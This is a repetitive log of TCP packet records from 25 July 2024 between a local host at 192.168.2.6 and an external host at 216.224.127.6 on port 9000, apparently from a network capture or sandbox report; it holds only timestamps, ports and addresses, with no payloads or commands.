Jul 25, 2024 13:23:22.482076883 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.482235909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482245922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482258081 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482269049 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482280016 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.482317924 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.482368946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482381105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482433081 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.482506990 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482518911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.482559919 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.483134031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483148098 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483160019 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483201981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.483263016 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483274937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483427048 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.483568907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483620882 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.483756065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483767033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483809948 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.483902931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483916044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.483948946 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.484922886 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.484935999 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.484951019 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.484976053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.485049009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.485060930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.485104084 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.491693974 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.491714954 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.491730928 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.491760015 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.491789103 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.492130041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492142916 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492156029 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492168903 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492181063 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492198944 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.492199898 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492214918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492225885 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492239952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492257118 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.492290020 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.492562056 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492574930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492588043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492602110 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.492610931 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.492649078 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.493215084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.493227005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.493240118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.493252993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.493263960 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.493294954 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.493308067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.493351936 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.494172096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.494230986 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.494244099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.494278908 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.494324923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.494338036 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.494378090 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.495723963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.495738029 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.495749950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.495762110 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.495775938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.495781898 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.495810032 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.495831966 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.507921934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.507961035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.507981062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.507997036 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.508014917 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.508033037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.508050919 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.508131981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.508131981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.508131981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.554126024 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.568068027 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.616507053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.727034092 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.727055073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.727066994 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.727123022 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.727807045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.727854013 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.727864981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.727914095 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.727925062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.727957964 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728069067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728079081 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728094101 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728106022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728111982 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728152990 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728214025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728256941 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728303909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728313923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728346109 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728357077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728368998 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728398085 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728626013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728636026 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728683949 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728729010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728785038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728796005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728825092 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.728862047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.728904009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.729751110 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.729805946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.729816914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.729851007 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.730017900 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.730029106 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.730046988 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.730065107 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.730093002 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.731040955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.731069088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.731080055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.731116056 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.731236935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.731247902 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.731288910 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.732597113 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.732613087 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.732625961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.732645988 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.732661009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.732666969 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.732672930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.732717037 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.737088919 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.737122059 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.737137079 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.737204075 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.737222910 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.737235069 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.737274885 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.742695093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.742722034 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.742732048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.742832899 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.742845058 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.742873907 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.742913008 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.742983103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.742995024 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743005991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743017912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743030071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743038893 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.743061066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.743212938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743223906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743257999 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.743268013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743279934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743290901 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743302107 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743319035 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.743344069 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.743926048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743966103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.743973970 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.743978977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.744009018 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.744072914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.744083881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.744122028 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.745045900 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.745095015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.745105028 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.745141983 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.745202065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.745212078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.745222092 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.745249987 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.745269060 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.746336937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.746386051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.746398926 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.746432066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.746459961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.746504068 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.746526957 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.746539116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.746567011 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.747483969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.747533083 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.747543097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.747586012 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.758646965 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758677959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758691072 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758704901 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.758733988 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.758754969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758765936 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758810043 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.758833885 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758913040 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758923054 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.758963108 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.759190083 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759202003 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759213924 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759226084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759232998 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.759268045 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.759279013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759289980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759308100 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759315968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.759316921 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759352922 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.759413004 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.759454012 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.760001898 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.760066986 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.760078907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.760118008 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.760174990 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.760186911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.760226965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.761042118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.761082888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.761086941 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.761094093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.761135101 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.761181116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.761190891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.761200905 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.761229038 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.762165070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.762196064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.762206078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.762214899 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.762237072 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.762243032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.762264013 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.762290955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.762310028 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.774723053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774736881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774749041 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774796963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774808884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774827957 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.774883986 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.774921894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774934053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774945974 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774957895 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.774971008 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.774998903 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.775170088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.775181055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.775192022 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.775201082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.775217056 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.775245905 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.814990997 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.815011978 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.815025091 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.815083027 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.866538048 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.973385096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973412037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973423958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973493099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973505974 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973522902 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.973587036 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.973634958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973647118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973659992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973670959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973679066 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.973684072 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.973723888 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.973757982 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.973823071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978601933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978646040 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978657961 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978667974 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.978699923 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.978730917 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978741884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978754044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978765965 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978771925 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.978813887 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.978844881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978980064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.978991985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.979003906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.979017019 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.979027987 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.979037046 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.979039907 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.979064941 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.979167938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.979211092 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:22.979270935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:22.979341030 CEST	9000	49712	216.224.127.6	192.168.2.6
